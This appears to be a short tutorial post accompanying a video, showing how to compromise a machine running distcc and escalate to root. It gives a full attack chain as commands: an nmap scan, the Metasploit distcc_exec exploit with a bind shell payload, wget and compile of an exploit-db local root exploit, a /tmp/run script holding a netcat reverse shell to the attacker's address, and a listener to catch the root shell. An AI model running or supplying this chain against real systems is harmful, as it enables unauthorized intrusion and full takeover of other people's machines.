[Video] Local Exploit Privilege Escalation

Hay guys
tonight i will share how to get root privileges to start utilizing the vulnerability gap that exists on the machine "distcc".

about distcc:
Distcc is designed to speed up compilation by taking advantage of unused processing on another computer.

How to :

1. scann the target using the command:

nmap -p 1-56635 -sS target-ip-addr

then look for port 3633 (distccd)

2. Open your metasploit and enter this command:

msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > set RHOST 192.168.1.10
RHOST => 192.168.1.10
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_ruby
PAYLOAD => cmd/unix/bind_ruby
msf exploit(distcc_exec) > exploit

wait until the command shell session opened

3. then use this command :

uname -r (kernel version)
whoami (print the user name associated with the current effective user ID)

this stage we do not get user id root.
so, let's get started privilege escalation

make sure the kernel version used the victim is "2.6"
take exploit provided by exploit-db (http://www.exploit-db.com/download/8572) to gain root privileges

  * wget http://www.exploit-db.com/download/8572
  * mv index.html exploit.c or exploit name
  * gcc -o exploit exploit.c or exploit name

The next step to create a script that will be run by an exploit that we have to compile the above:

echo '#!/bin/bash' > /tmp/run
echo '/bin/netcat -e /bin/bash your-ip-addr 4444' >> /tmp/run

NOTE : Why we must save it in the directory /tmp/ with the name "run" ?

The following reasons which I will explain:
on the script "http://www.exploit-db.com/download/8572" there is a command that will be executed when we run the exploitation. for screenshot:

the next step
  * open the new tab terminal console and create a Netcat session
     * netcat -vlp 4444
  * ps (to display the information from the active-process)
     * ps -edf | grep udev

remember. PID was used at different values ​​such as: 
next lower PID 2290-1 = 2289 (Ex., ./exploit-name 2289)

after executed, notice that we have run Netcat before then type the following command to see whether we succeed or not:
  * id
  * whoami

The following video I had prepared :

Regards
Hidemichi-Hiroyuki a.k.a [H2]